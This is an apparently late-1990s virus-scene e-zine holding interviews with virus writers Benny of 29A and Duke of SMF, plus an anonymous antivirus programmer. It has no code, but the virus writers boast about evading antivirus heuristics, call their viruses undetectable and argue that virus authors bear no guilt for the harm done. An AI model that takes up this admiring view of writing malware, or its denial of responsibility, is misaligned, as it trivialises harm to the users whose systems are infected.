/ _\ _ /_\ ^ | | | \ _ \ \ / /
/ / | | // /_\ \-| |-/ | ^ \ | | \ \/ /
\ \ | | \\ / _ \ | | | / | | \ /
\ \ | | \\ // \\ | | | \\ | | / \
\ \ | | \\ / \ | | | \ | | / /\ \
\ \ // \ / // // // // / / \ \
\\ / \ / / / / // //
\\ // /
\ /
\ http://www.xs4all.nl/~cicatrix /
29A is one of the todays most active groups and Benny/29A is one of their most active members, producing
many W32-based viruses in a short periods. We offer you and interview with this czech programmer:

Who are you, where are you from and other personal stuff ...

Hmm, Ok, lets start. I'm Benny from Czech Republic (the middle of the Europe) and I'm member of 29A.
Nowadays (summer 1999), I'm 17, I study computers on highschool and writin' viruses, engines and
tutorials for/about Win32 platformz.

Benny, how did you get into computers?

I always wanted have a computer becoz many of my friends had their own computer. I became owner
of my own PC, when I was 13. That was great time. I can remember, that all friends were playin'
games, but only I was interested in programmin' and operatin' system itself.

Why did you start to be interested in viruses?

When I had my own PC, I heard about some weird things, such as PC viruses. But to hear wasn't
enough for me and I wanted to know, how is it coded. I was fanatic to AVs descriptions and I wanted to
code my own virus. I bought many boox, but nowhere was explained, how to code that. Then I found
one perfect book, where I found source codes of PS/MPC viruses and Aragon boot virus. Great
moment. I don't know, if I would be there, where I am without that book.

Was your PC infected by any virus (besides your own)?

Yeah, many times. My first computer was full of viruses. Then my friend borowed me one great
antivirus. It was AVG 3.0. It had perfect heuristix, comparable with TBAV (maybe better). When u ran
test of HD, it took program by program, lists all instructions it steped, list all triggled flags and
everything. It could fake STEALTH viruses, it could read directly from disk, use XMS, trace INTs and
much more. And that had very nice interface. U should see that. Wholy sci-fi! And it took me thinkin'
about many things. Hehe, I can remember, I was runnin' that AV three times per day and I wanted from
AV to find some virus, becoz I loved that feelin', when infected file was cleaned. Weird? Yeah, who said
I'm not, hehe X-D?

What programming languages can you use?

My first language was PASCAL. Then I was very interested in ASM. When I had holidays, I decided I
should learn C/C++. Two months of readin' some boox and I know everything about it. Then I know
Delphi (a little only), Java (look at my page) and some scriptin' langs, such as HTML or JavaScript.

What's your favourite programming language and why?

I l0ve assembler. I can do everything, that I can't do elsewhere. I hate objects, visuals, components
and sh!tz such like. Who doesn't know any low-level language ain't coder, but developer. Everybody
can click and so create program, what it ain't thing I wanna do. If I can't see all resources it takes, whole
source, registers, opcodes and otherz, I don't like it. I like to optimize and fully optimize my code and
have fully control of my programm I can only in assembler. I don't like ppl, which don't like assembler 8-
).

How did you get into vx comunity?

When I was surfing on internet, I found link to WM.CAP. There was link to 29A page and there I
downloaded 29A#2 magazine. That was nirvana. I haven't ever seen so kewl zine as 29A#2 (except of
this, ofcoz X-D). There I found some link to IRC. I didn't know, what da hell that IRC is. After some
friends advices, I downloaded some client for IRC and went to hispanola IRC. Huh, I had a BiG luck.
There were many good coderz at the same time and everyone was on-line! Everyone wanted to show
me his page, they wanted to chat with me and when I said "I'm interested in Win32", noone stood
under the control. I won't ever forget for that moment, when Darkman said: "Hey guy, u r that coder, we
r lookin' for. Join 29A!". I couldn't believe, that the best VX group ever wants lammer such me. They
said they wants me in da 29A and I thought, it ain't possible, it's only a dream. Then, I decided I must
do everything to join that group.

What can you tell us about your first virus?

Hehe, it's funny story. If I'll forget to my first lame PASCAL EXE append virus, my first virus was
Win32.Eva. That time, I hadn't any motivation and I promised myself, I will code something really kewl.
Then it happened. I fell in the love with some nice girl. And becoz she didn't know it and it happened on
Friday, start of weekend, I didn't know, what I should that dead weekend do. I decided it would be
better to code something. By those three days, I coded, commented and debugged my first (Win32)
virus. (Un)fortunately, Eva knows sh!t about computers and maybe it's better. However, I must give her
all my thanx, becoz that was perfect enter to VX scene. Darkman was dead, when I said him "I have a
virus for u. It's Win32.Eva and it's coded by me".

And the sure followed next pieces from your workshop. Tell us more about them.

Hmmm, there r many pieces from my workshop. And if u won't be bored of that, I will list here all I
coded.

Viruses:

Win32.Eva - My first virus. Creates new PE header in a file.


Win32.Benny - Second virus, coded from bore, appends to the last section. It has some
special feature, and that's usage of my own 64-bit Checksum as flag in
infected files.
Win32.Leviathan - First multithreaded virus, which simulates neural-nets.
Win98.Milennium - First Win98 multifiber virus, which simulates neural-nets.
Win98.BeGemot - First virus with communication interface. My best virus sofar.

All these viruses have much more features than I said here. But if I would say all features, this interview
would be all about my viruses and not about me...

Engines:
BPE32 - Benny's Polymorphic Engine for Win32, my first portable poly engine. Very kewl by
its size and features (e.g. SEH trap).
BCE32 - Benny's Compression Engine for Win32, very kewl by its size and compression
ratio.

Tutorials:
Threads and Fibers under Win32
Optimization of 32bit code
Fuckin' AVs in Win32 enviroment
Theme: Metamorphism

Huh, that's all for now. But soon, u will be able to get more and more viruses/engines/tutorials... I code
very fast, as many ppl say about me.

What your best virus you have ever written and what features it has?

Ok, my best virus is always that last one and everytime, I code something new, it's better than my
previous work. Well, my best virus is for now Win98.BeGemot. It is first Win98
EXE/SCR/RAR/SFX/CPL/DAT/BAK resident, ring3, ring0, Pentium+, multithreaded, compressed,
stealth, slow poly, fast infector, which contains communication interface that allows u to communicate
with virus, if it's in memory. It uses SEH, undocumented opcode, and many more new features, by
which is now undetectable by any AV. This is virus I'm the most proud of...

How did you get in 29A and what is the feeling 'to be in'?

Hehe, I don't know, how did I get in 29A. I wrote 3 viruses. And as I heard, my third one
(Win32.Leviathan) was the thing, by which I am 29Aer. Thanx g0d X-D! When Reptile and Darkman
said, I'm in 29A, I thought I will jump thru the window. It everything I wanted and when it came to me, I
was 5 minutes in trans. That feelin' was great, really. Now what r my feelings? I won't lie u, I'm very
proud on myself that I'm in 29A. It happens sometimes in your life only, that u r part of something great
and that u r first human in the world, who did something. But becoz I promised to all 29A stuff I will do
impossible for our group, I'm tryin' to do that. And also I won't forget my beginner ages so I try to help
every beginner as much as I can. Everytime I do something, I ask myself, if that thing I did is right and if
I'm lammer or if I'm not. Be selfcritic, that's very important thing. Think about u and about things, u did.

What are the most important technological advances in virus writing?

We r breakin' unbreakable. Still remember those old ages, when some guy XORed his virus and all AV
world was absolutly mad of it? Now we use hi-technologies, such as poly, meta, stealth, anti-heur, anti-
debug and things such like. We learn operating system and we know more, becoz we want it and becoz
its our hobby. Without us, everybody would be developer or guy from microsoft. Without us, everybody
would think on and on, that Windows is the best 32bit (huh) system in da world. We breakin' the law, we
want know more and we know it.

In the history of the virus writing community, there was thousands of viruses, some of them elite, other
absolute crap. What's your personal TOP 5 of viruses and why?

I have many favourite viruses and I don't wanna say, that that virus is better than that one. I will list
them without any order...

OneHalf - still one of the best DOS viruses


Win32.Cabanas - still one of the best Win32 viruses
WM.CAP - still one of the best macro viruses
W32/WM.Cocaine - one of the best Win32/Word viruses
Esperanto - one of the most complex viruses

There r many other viruses I like and I for sure forgot some, which I like more than that, which is listed
above. But it's very hard to say, what's better, what's best and what's crap.

The same as for viruses can be applied to antivirus software (but they are here not thounsands but in
some couple of dozens exmplares). Your personal TOP five of anvirus packages and reason(s) why:

DrWeb - it has the best heuristix for Win32


NodICE32 - also very good heuristix for Win32
AVP - perfect scanner, perfect internet page

And that's all. Next AVs I don't like very much. Bah, who likes AVs ;)

What do you think about AV people?

They r very smart ppl. Noone, who don't understand system at least as good as VXerz, can't be AVer.
What I don't like is that all AVerz thinx, that we VXerz r stupid kiddos and again all VXerz means same
about AVerz. To code kewl virus u must know OS and to analyse kewl virus, u need it same. It's wrong
to compare two uncomparable things, such as to code tiny COM infector and to analyse OneHalf.

It's often posssible to meet you on IRC. What's your favourite channel?

Yeah, I'm there very often, usualy 7 days in week. My favourite channels r #vir and #virus on Undernet.

Did you ever meet someone from the scene in person (e.g. on the scene meet last summer) If so, how
looks the meet like?

I didn't meat any VXer, but I will - this summer in Amsterdam.

What can you tell us about local Czech virus scene?

Hmm, not much. I think, there ain't any VX scene in czech republic. Many ppl may remember viruses
such as Halloween, Raptor, Semtex, etc. That time, when there weren't any Windozes, czech was full
of VX writers. Now, I don't know any ppl from Czech Republic, which is interested in Win viriis. That's a
pity. Our ppl r full of potential and entusiasm...

Now the same question, but the Dark side of the force - Czech AV producents - how are the products,
are they worth of testing against new viruses etc ...

I don't like czech AV products very much. I know, that czech AVAST! is the best scanner in the world.
AVAST! reached 100% border in Virus Bulettin as the first scanner in the world. But AVAST!, over
100% virus detection hasn't any heuristix, so I don't like it very much. Same as czech AVG. AVG has
heuristix for DOS files, but still not for Win32 files. That's baaaad. But let's wait... we will c...

Yeah, when I gave to one czech AV firm pattern of Win98.Milennium, they said, there ain't any viriis.
When I asked them, on which OS they tested it, they said: "Win95". I said, it is Win98 specific virus and
they replied: "hmmm, maybe." Ignorants!
Once, you told you know some AVG ppl, how is(are) the person(s) like?

Yeah, I know them, but I don't wanna explain here detaills, becoz they would have some problems with
it. Some other AV firm could say, they have contact with VX ppl and that could be big pain for Grisoft.
There ain't any contact, but however, ppl r jerx. Yeah, they have very nice secretaries (really! X-D) and
those ppl r very, very smart. But similarly as other AVerz, they say we VXerz r only kids without any
morals. But that is only their problem, rite? Nevertheless, I must say, that ppl from Grisoft r really very
smart. No doubt!

Now, let's discuss some vx technologies, what do you think about use and perspectives of stealth,
polymorphism, viruses under "other" operating systems ...

New operating systems, more holes, new/more places for viruses, new techs, etc. Viruses will stay with
us. We will find new techniques for our babes, new ways for hidin' them, new targets to infect, etc.
Now, it seems it will be metamorphism. What will be next? Who knows...

What do you think about payloads in viruses and especially the destructive ones?

Payload is the only thing, that should be visible to user. It's the way, how to show user virus presency.
But destructive payloads, they r all lame. Many users will have problems with it and many AVs will rig
money only becoz of some lammer. We will be more "persecuted" and we will have more and more
problems. Destructivity ain't product of smart ppl.

Your opinion to the topic macroviruses and their perspectives:

When I tried to code macrovirus for WinWord97, I did it in a minute. Macrovirus can be beginnin', but
codin' it is too much easy for ppl, which can do more than click and create. Normal viruses has more
chances to be spreaded out than macroviruses. Computer can run without editor, but not without OS.
However, I think macroviruses r still very perspective.

Are there some people from the vx & av scene you would like to meet in person?

I would like to meet every good VXer & AVer, whoever he is. I don't wanna say names here, becoz I
would forget someone...

What do you think about the manics who want to prosecute virus writers?

They r rite. I know, that modifyin'/deletin' valueable data ain't rite way, how to show what is inside of
me, but, but ...ehrm, ...but... I like taste of fame. Who not? X-D

Your relationship to beer, girls, inline skating and other important things:

Beer is da best thing in da world. Mmm, I can say, that I'm alcoholic, becoz I usualy drink 3, sometimes
more litters per week. And, have I ever said u, that 50% of my work was written, when I was drunk? X-
D No lie! Girls r something the most weird thing in da world. Who can understand them?

Favourite meal, drink, band, pub and the rest of the small joys of life:

I have many favourite meals, such as grill chix, pizza, hamburgers and so on. My favourite drink is beer
and juice. Music, music is one of my most favourite things. And becoz I'm very weird human, I like both
of light pop (e.g. ABBA) and hard rock (Lucie, Black Sabath, ...), sometimes I like also metal (Marilyn
Manson). I like groups, which plays their own style. I like originality and I hate commerce. When there
is group, which plays only for money, it ain't good band. And if there is group, which plays originaly and
plays its own style, I can always find something great in it. What I like is oldies, becoz they played their
own style, they had been originaly and they didn't play only for money.
My favourite pub? Hahaha, I would be very silly, if I would tell ya it. Sorry. But I can say, that I love
every pub, where I can find any czech beer.
My last <drug>, which I use is nikotin. Yeah, I smoke cigs. I try to stop that money washin', but it's too
hard for me X-D. Sometimes, I have a joint with my friends, but it's not very regulary.

Everyone today surfs the internet. Let's see someone of your favourites places on the web:

Hmmm, it's hard and I know I will forget some URLs for sure, but here r some URLs, I use regulary and
I like them...

http://www.29a.net/ - page of da best VX group


http://post.cz/ - post server I use
http://www.virusexchange.org/vtc/ - VB's site. Tons of materials for VXerz
http://www.virusexchange.org/nop/ - Virogen's site, everything u want is there
http://www.microsoft.com/ - when I wanna laugh
and my page, ofcoz X-D

Do you have webpage? If so, where is the page to find?

Sure I have. Informations there r usualy 2 months old and in internet, u can find tons of pages, which r
absolutly better than mine. However, I like it and I'm proud for my Java: http://benny29a.cjb.net/

What about you plans for the future as coder and in general?

Hmm, I don't know, what will I do in the future. I know, that viriis r something, which I understand more
as anything other. Maybe, I will be next AVer, in the future. I know, u will hate me, but what other I
would like to do more than work with viriis. Other plans r very unbright. I would like to study university,
but I know I'm not so smart. Well, I hope I will do something, I will really like.

Thanx for givin' me place for talkin' about myself and I hope u weren't bored. See ya sometimes,
somewhere...
We are glad to present something really unusual - interview with a man from antivirus company who agreed
to have a talk (many of them didn't) about viruses, life, universe and everything. But we agreed about his
anonymity and we will respect it, of course. This interview is really good experience, so don't wait and go
ahead!

hello, we are glad you said yes to our request for interview

sure, no prob, but i want to stay unknown - you surelly can guess the reasons why :) it is not usual one
from antivirus side giving interview to other side

what is the reason you said yes? usually avers ignore our requests or say no

we have of course access to nearly all zines released on v-scene, because one have to watch for them
- to keep track of new technologies and of course i've also seen your previous issue, that was pretty
long time ago, and it was rather good. you are taking your job quite professionally

how long are you in the biz?

i started with viruses, let me think, some 11 years ago. my first XT played sometimes, usualy at 5
o'clock some mellody. of course, it was yankee doodle. after that, i discovered viruses and started to
colect and analyze them, being amazed what they can do. i worked already in assembler on my
previous computers, so i easily learned PC specific things - from tech-help, but i also found many
incompatibilities in it... after that, i wrote some single-purpose antiviruses, and, of course, started to
work on a real antivirus.

he-he, i think viruses started with you and not you with them

well, that's what it may look like. i've heard about viruses also before, but never could get one. only
when some virus got directly to me :-O

okay, from the very beginning on the good and right side ...

well, there are many losers on av-side (i will not name them, but one knows them all) that think they
are the only good side, and virus writers are the bad side which should be put into jail. they simply do
not THINK. usually, good virus writers are better than many anti-virus writers. but there are too few
good virus writers on the scene as well as there are too few really good antivirus writers. i don't like
words that many avers pronounce in hate about every virus writer is an evil. some avers must say so
because they can't say anything different (due to their policy and marketing) but they think differently -
like I present it here but many avers, usualy the worse ones, hate you. because there is too much of
work due to you.. they often forget they are making big money in many cases exactly due to you...

your got the point, averz are making money of the scene, wanna support our site with a bit of money?
:))) not at all.
noone wants, of course, just because there are too many viruses every day, and it costs lots of time
and money to prepare scan-strings (and optionally cleaning routines) for all of them usualy we are a bit
late to do so.
so we don't have any reason to support you.

let's be serious again. you were speaking of the av lamers. i agree there is a lot of av pussies around
who are dumb asses. Any comments to the datafellows story last week?

{put a link to the news here} well, i would not like to use such strong words. i can tell you a situation
which is usual, and of course similar is in our company: team of av programmers NEVER uses av
programs. :at first they are too lazy, and they are also a well trained to work with viruses during the
years. one can immediately notice nearly any virus activity. for example i've seen several thousands of
viruses (in debugger, or in disassm) but of course, we use real samples - for example we have several
ten-thousands of real infected programs to test our work. and sometimes accidents also happen: for
example i remember a case one of programmers in our team accidentaly ran one virus. and he infected
two computers this way and part of our virus collection.
and back to datafellows: i can see two reasons - they tested it (i don't think so), or someone like a
secretary started this infection by running vbscript in mailer. you must understand this: in av companies
not only av programmers are working. it is weird if they used their own virus protection on their
exchange server why it happened: it was either disabled, or not fully functional. there are sometimes
bugs in av technologies as well - like very common were bugs in OLE2 scanners with two-level
fragmented macros.

you said you are about 11 years working with viruses. your first av were single purpose. What viruses
the detected-removed?

don't remember exactly... some trivial ones, boot, com/exe - those what was hot. and a few years later i
experienced the polymorphic as well - with world famouse MtE, of course... it is pretty old now, but still
one of the best

MtE was imho big shock for AV industry, i know there were companies who were unable to reach 100%
detection for couple of months...

MtE was new and different. it was real breaktrough that forced us to change lots of our routines. there
weren't any similar breakthroughs ever since as i remember (no virus that changed principles and was
followed by hundreds and thousands of others)

yes, good detection takes many months, even as it was pretty discussed on virus-l and others.
everyone knows it, but many lame-like antiviruses weren't able to write detection routines. it filtered out
the really bad antiviruses, or they have to adapt. it also causes a big reconstruction of all antivirus
engines to nowadays state.

and any other major changes since the MtE? what about the number of viruses?

revolutionary changes? not exactly. OLE2 is a big change, but it is completely different filetarget. it was
also difficult because microsoft has usual reaction for publishing ole2 structure: "you don't need to know
it (ole2 document structure, or 'structured filesystem'), it is our internal format, use function available in
our libs" - but it is of course not enough for scanning for macros.
also there were other viruses that changed the things, but didn't become trends - they can be detected
by some other tricks so no need to rewrite scanning engines again completely.
well back to you. probably you joinned to some Av company or maybe you own one of them ...

:) ok, no comment about that. you can agree, i (and av company i'm from) wanted to stay anonymous.
but yes, i work for a av company, on some rather high job position but sill in av-coders team, of course.
i don't like managers :)

as aver you have to know the news from the virus scene. how you get on the news and new the
viruses?

we, i think, are best virus traders all around the world. if a new virus appear in one av company, it can
very soon reach others. but: many guys on av scene (exactly the types i don't like) are egoistics, etc
and they don't want to trated with XY because of something in a past, and XY don't talk with ZW
because of ... etc, etc. but if some of them have something interesting, something new, and another
one has something good as well, they can make an xchange bussiness even if they hate each other.
this way viruses travel all around the world.
there are many viruses that are only in those virus collections. many of them never appear in real life :)
its a strange av-world of shadows, hate and bussiness.

this way we also have all virus zines, etc. and of course, we have access to the virus-oriented BBS'
(but they disappeared already) and to the internet sites. but there aren't many good virus-oriented sites
on the internet. the rare exception, and today's hottest is, of course, yours.

today's trend in AV world is the buy_them_all policy of some companies. Your opinion?

you are right. now i will name some, because all it is known, so there is nothing to hide. NAI (old
McAffee) whose original scanner missed the train to the future and wasn't able to follow the changes
that other antiviruses had to do, is now buying every good piece of code because NAI wants to be still
in the bussiness. there's nothing just a money behind it. its rather pitty, but true. same as microsoft -
Money is power.
maybe once there'll be only one total antivirus (or speaking more general a protective system), and all
good programmers from the world who work on their own avirs now will be programming that.
it is good and not at the same: there is a monoppoly and might be no progress due to it. but if many av
programmers can join their experiences and work together, they can do another breakthrough on the
antivirus side. but the future waits for us, we'll see...

how is it to handle such a great number of viruses in a brief time. What is your opinion to the term "glut"
introduced by bontchev?

it is often too difficult. and leads us not to do our work as good as we can. there are too many viruses,
many of them are similar ones to another. we have a quite little team, and not enough time to check
them all. usual situation is we get a package of new viruses, and there is need to process them: we run
ours and other antiviruses to categorize them. there are offen viruses that we already have, or very
much of damaged viruses, etc (like virus that differs from original (dos example) only by int3
immediately after writting command int21 - someone stupid traced it and debuger left there breakpoint
at write command. it is pure shit, but you have to scan for it. so briefly check what is rubbish and what is
not, and choose scan-strings for those needed to be caught. and the work is done. there is not usualy
time for analyzis we do it only for some important viruses. even for cleaning it is enough to have a brief
look on the virus - because most of them are very simmilar

little team? if i read the websites, there is always number of the employees on it, and every company
claims they have at least 40 or 50 of them or NAI has hundreds of experts ....
they are kidding.
sure, there are many people employed, you need some secretaries, some managers, some
bussinessmans/reseller, etc, some supporting guys but real programmers, that do real work - there are
usualy too few of them.
moreover, you can't find let's say 40 people that really know their job (av). i think there are about 15-25
on the whole world! the rest are supporting programmers - they can do some easier disassemblies,
some cleaning routines, or pick scanstrings, if you teach them how to do it. of course they need to
know asm and system programming at suitable level. but real developers, there are usualy few of them
in the teams. they are head of antivirus companies, in fact but not beeing seen (in most cases).

too little number of programmers, so why then not to hire some vx-writers to fill the vacancies?

it is not applicable
at first, vx programmers are usualy kids (or likely - studying on the highschool or university), and when
they get into the real life, they have no more time to write viruses.. they need to have real jobs.
moreover, it is not applicable to employ some vx-writer due to reputation. if some other company hears
about it, they'll immediately publish it and destroy the company that employed such a programmer.
thats the regular bussiness game so there is no way to employ some active or oneone who was a vx-
writer even if you know him and you can trust him

AV programmers must be then poor exhausted individuals with no time. do they have a free time?

we are people too :) there is time to play quake or doom, time to go for a drink, and of course lots of
time for programming. but i think situation is similar as for others programmers: they usualy live in
some different computer world of screen, keyboard, quake, junk-food, pizza, and debugers. you surely
know

most valuable in the AV side is the Virus Bulletin award. any specialities bound with deadlines?

well there is always big plus when a company can issue a press release with something like "hi
customer, we are good, even virus bulletin was forced to acknowledge it ..." as for programmers it
means nothing but feeling you do your work well (plus bonuses), the sales department is more extatic
than we are. with deadlines it's always a problem - you can't do the work you planned in time - you
know murphy was imho too optimistic you can do the work you had to but then it doesn't work okay or it
could work okay but you never to it in time.
also, as i already mentioned, there are many shits in lots of virus collections. well, VB is rare exception
where all samples are more-less functional, but many av companies do not throw away those
corrupted files and judges antiviruses also on those non-functional samples. because there is no way
to test them all if they work, even more, virus might not be operational on your current PC any more...
this selection is very hard.

do you thing you'll earn your money from viruses all the live long?

progress in computers is really fast. noone can say if viruses will be here in 10 years. may be in global
cyberspace will be as good protection as no viruses or worms ar whatever can live there, or we will
have neural systems, or...
have you read neuromancer? ;)

i also can't asnwer if we can stand the AV vs V competition within next few years. but i believe we can,
we are i think one of the best.... and even more - may be sometime all we will be in NAI... ;-)))
let's discuss the techonoly of the AV programs, can you give brief chacteristics of some products?

we watch also for others, that's right, but it is difficult to see inside the other programs. i would like not
to point out good or bad ones. its kind of ethics and bussiness.

so let's be more general, kind of technological overview - technologies, strong and weak spots

there are several groups, lets start with dos (com/exe/boot) - usualy regular scanstrings are used,
might be enhanced by crcs or so, with a specialized subroutines for non-trivial things (some hard poly,
etc), of course some kind of generic decryption engine or emuler is also important.
for windows it is very simmilar, only loaders are different, and there are lotsa problems with emulation
as well.
finally ole2 - one needs to know structure, then it is simple - most of macros are unencrypted, just a
simple scanstrings are enough.

... that's just briefly. but you told me already you'll have also a dedicated article (or articles?) to these
descriptions. don't know about their quality, but to explain all the things there is not enought space in
one interview... but you can ask me some details, if you want. (may be i can/will answer, if it is not one
of our secret things ;)

to the tool, what kind of tools you use debug-progs etc?

the best i'm familliar with is turbo-debugger. it is not the best, but i used it in a past and as well as now.
another coder in our team is for example using afdpro :) (if you remember it)
of course, we have soft-ice and soft-ice/win for windows viruses. and we uses IDA (interactive
disassembler) for analyzis. i think it is best one. plus of course hiew for brief look-around, and some
our secret tools as well :))

now i'd like to put some personal question favorite movie, music, film, computer came etc

i like starwars. its fundamental sci-fi movie. i like science fiction, having hundreds of sci-fi books...
music: 80's, preferably, but not excluding house (right now i'm listening some Scooter's), as well as
beethoven. must be good.
and i'm not playing a computer games. not enought time, usualy. i've freezed somewhere at quake
time, now playing only to relax a networked quake :)

well thanx for your effort, was nice to talk you and send us some insider info we can do use of on the
stock market :P

was nice to talk with you too, wish you will success. well, it might be a some more work for us,
however, its always nice to see a good work. bye and keep not writing viruses :)

hehe i'll try it


Russia is a big unexplored world of virus writers who do not often become known on public but produce a
reasonable things. One of those you can meet on internet is Duke of SMF.

Who are you, where are you from and other personal stuff ...

Huh... I'm russian boy. I love techno, rave and much more. I do not care what type of music it is - if i like
the music i hear it. Not less than misic i like chicks. I do not have in my head some specific type of girl,
no i prefer different and definately lot of chick ;-P
Other time, i am sick of all the above things - then i sit to code viruses.

How did you get into computers?

About 2.5 years ago (fall 1997) i got computer. in the very beggining i cant handle with it, then i started
to play computer games. It was fun but not very usefull. After a half year i told to myself - stop ! It's time
to do more serious things - and so i started learn programming. And in fall 1998 myself and GorLuM
(friend of mine) decided to found cracking group SMF

Why did you start be interested in viruses?

2 years ago friend's computer has been infected by One Half and there was shitload of serious
informations on the hard disk. He asked me to help him with removing the virus cos DrWeb was not
able to do it (but i did it).
Since then i was keen on viruses. In the biginning with the cleaning and fighting with then, the i started
to collect the virii. And in august 1998 (year ago!!!) i coded my first viruses (HLLP & BAT).

Was you PC infected by some virus (besides your own)?

Yup :) when i run it. I test some viruses (Nutcracker, for example) and infect my home PC with them.

What programming languages can you use?

Pascal/Batch/WordBasic/Visual Basic/Windows Interface Language/Delphi, few asm, and many


scripts... I am also familiar with bunch of scripts but i don't remember all the names ;-))) LOL

What's your favourite programming language and why?

I like pascal, coz it's very easy language. Also i like Visual (Virusal ;-) Basic , coz many types of virii
coded in VB (Word97, Excel97, VBS, HTML).

How did you get into vx comunity?

It was quit late. From the very beginning i knew there is a "virus scene:, but i have no clue where i can
meet people with equal intereses. I didn't have access to the internet in dat time. And in the world-wide
scene i join jumped in the end of 1998 ...

What can you tell us about your first virus?

My first virus.... Long time ago ... ;-) First virus was BAT-worm, very simple and lame. After that i wrote
couple of parasitic HLLP virii, so begun it all :)

And the sure followed next pieces from your workshop. Tell us more about them.

New projects ? DVL #9 and couple of original viruses.

What your best virus you have ever written and what features it has?

I don't know ... I have a lot of ideas but i fail in some cases to realise them. What should be I proud of ?
Well I wrote first-in-the-world poly engine in Pascal. Before me no one did try it. I succeeded in
bringing the attention of russian virus scene to Pascal language. I am happy I have found people who
will follow and extend my work. I 've also coded smalest viruses in the world (Parasitic, Companion,
Overwrite) I like my demo-virii, demonstrating code optimisation (for example Companion.38 and
source code infector HLLP.Duke).

What's the history of SMF (what the hell should SMF mean), who's was the original idea of founding
SMF and who is member?

Group SMF has been found in fall 1998 by me and GorLuM`om to write cracks, demos and tools. After i
started with viruses (after DVL #2) pissed GorLuM left the group. That dudes who were interested in
virii did not left :) Now SMF members are Duke, SMT, Voodoo, CyberShadow. Also we have some
candidates to join. And... SMF = Super Malware Force.

Has DVL and you something common?

Of course ;-))))))))))))) DVL it's Duke's Virus Labs. In the very begining SMF was cracking group and
only I was interesting in viruses. I wrote couple of viruses and articles and i had to release in somekind
of magazine (first number i finished long time ago and it was, let's say very primitive). And the name i
selected was quit simple - Duke's Virus Labs. Later in SMF appeared another virus writing member and
together we started issuing zine. Now the number of the authors is higher than ever before a the zine is
more professional. But in genelar - DVL is part of SMF group.

Most important technological advances in virus writing in your opinion?

Multiparition and polymorphism

In the history of the virus writing community, there was thousands of viruses, some of them elite, other
absolute crap. What's your personal TOP 5 of viruses and why?

1. Win95.SK - many new ideas, techniques and futures!!!


2. Nutcracker family - very intresting and hard virii
3. Macro.Word97.Melissa - it's revolution in net-worms!
4. MtE - first polyengine
5. OneHalf - one of popular russian virii.
[duke is off the way here - one half is genuine slovak product, but at least one version has been
patched in russia]
The same as for viruses can be applied to antivirus software (but they are here not thounsands but in
some couple of dozens exmplares). Your personal TOP five of anvirus packages and reason(s) why:

1. AVP - has big AV base, but there re poor in working with sigratures. Excellent heuristic for trivial
virii ;)
2. F-Prot - lot of virii in database, but uncorrect signatures.
3. DrWeb - russian AV, very good heuristic analiser for macro/win32 virii easy to fool
4. NOD - excellent heuristic for macro virii, but not good for DOS-virii
5. As macro antivirus excellent HMVS AV.

What do you think about AV people ?

They are simly doing they job - making some money for their families - and not too bad at all. It is big
bussiness. But some of them are starting to take care of virus writers and they try to threat them. And
this is not good anymore ...

It's posssible to meet you on IRC? What's your favourite channel?

Yes :) Almost daily i am on IRC at channels #vir, #virus and #SMF. SMF group have official channel
#SMF and... it's my favourite channel ;)

Did you ever meet someone from the scene in person (e.g. on the scene meet last summer) If so, how
looks the meet like?

I met only some of the members;) But i would like to meet lot of virus writers - if they invite me to be
their guest ;-)))

What can you tell us about russian virus scene? We would like to see here quit detailed description
(groups, peoples etc)...

Russian scene is not only about viruses. I'd rather call it ex-USSR scene because we keep the
relationships with former parts of the union.
The oldest and most known group of russian scene is Stealth Group (ex-SGWW). Stealth Group seem
to be chimera for many beginning virus writers.
In the last time its activity has been reduced, they do not have site and for long time another issue of
IV-offline has not been released.
Zine Moon Bug, released by RedArc (ex-TAVC group) maybe will end its existence due the fact
RedArc is very bussy man. Now is work on #11 progress (already released now)
Group SPS releases LMD (Lamerz Must Die) zine. They are group of professionals from Belorussia,
but the zine is released on very irregular base and it is difficult to find (at least for me).
Group HAZARD Team from Ukraina is one of the most progressive. Its member Deviator is author of
very interesting viruses. I am very happy he cooperates with DVL.
Recently founded group Misdirected Youth from Moscow prepares release of the first issue of their
mag. Their work has been started by couple of articles in Moon Bug #10. This group can be new pn the
scene, but the members are old warriors of the virus scene.
Russian virus scene includes groups like CiD, SOS and such a famous vx personalities as SSR,
Z0MBiE, ULTRAS, Crkv, 2b and bunch of others. Russian scene is very very large and russians are
writing tons of viruses every month.

In the Russia, there are several companies writing AV programs. What programs they produce and
what are the features of them.

Kaspersky Lab produces whole pack of antiviruses AVP (for DOS, Win32, OS/2, Linux, Novell;
scanners, revisor, monitor). They differs, but in general they put there everithing which cames. Very
bad macro heuristic.
Dialogue Science produces DrWeb (scanners for DOS, DOS32, Win32; monitor) revisor ADINF (DOS,
Win32), ADINF Cure Module. Version for Linux and OS/2 they do not have :(( Heuristic is excellent,
which causes many fixes in virii during coding; but heuristic 4 Win32 and macro virii can be fooled,
under DOS - very easy to fool

What's your favorite AV program and why ? And what Av programs do you use to test your newest virii?

I'm use AVP, coz i am virii collector. I test my new virii with AVp, DrWeb, HMVS.

Now, let's discuss some vx technologies, what do you think about use and perspectives of stealth,
polymorphism, viruses under "other" operating systems ...

Good Stealth in Win9x - it's RING0 ;-P However I think it is important not to create hardly-detectable
viruses but hardly-removable instead. (like Win95.SK)
I would like to point that poly for Win32 has to be widely developed. And last but not least - all the oses
have to be defeated :))))

What do you think about payloads in viruses and especially the destructive ones?

Payloads manifests the viruses. If i write virus there is no place for payload in the code. If you want to
demonstate what do you want, it's better to write another virus (e.g. my Smoller) - in order the payload
wouldn't put shadow on some brilliant virus idea.
As for destructive payloads i accept it but do not have the need to misuse/implement them. Better is to
set its activation to certain date and not to rely on random numbers.

Your opinion to the topic macroviruses and their perspectives:

I forecast macroviruses for new platforms. Office macroviruses spread very fast and they re responsible
for a great proportion of infections. Therefore future belongs to macroviruses. They mutate very easy,
can carry various files (viruses for DOS and Win), they easily spread accross the internet (still
remember Melissa?).

Are there some people from the vx & av scene you would like to meet in person?

AV : D. Lozinsky, Lubos Vrtik, Ralph Roth


VX : Darkman, Knowdeth, LovinGOD, RedArc, Deviator

What do you think about the manics who want to prosecute virus writers?

It's stupid mans ! Author aren't guilty - people who run viruses are. Kalashnikov is not guilty of his AK-
47 daily kills tens of peoples - it 'd be so absurd...!!!

Your relationship to beer, girls, inline skating and other important things:

Yea! Without lot of words - these are veryy serious things ! As for beer i am "bezrazlichen", as for
girls.... well, you already know :))))
Favourite meal, drink, band, pub and the rest of the small joys of life:

meal - sandwich
drink - Coca-Cola ;-P~~~
band - ohh... too many ! E-Rotic and Bad Boys Blue for example.
pub - "MustDie" ;-))))

Everyone today surfs the internet. Let's see someone of your favourites places on the web:

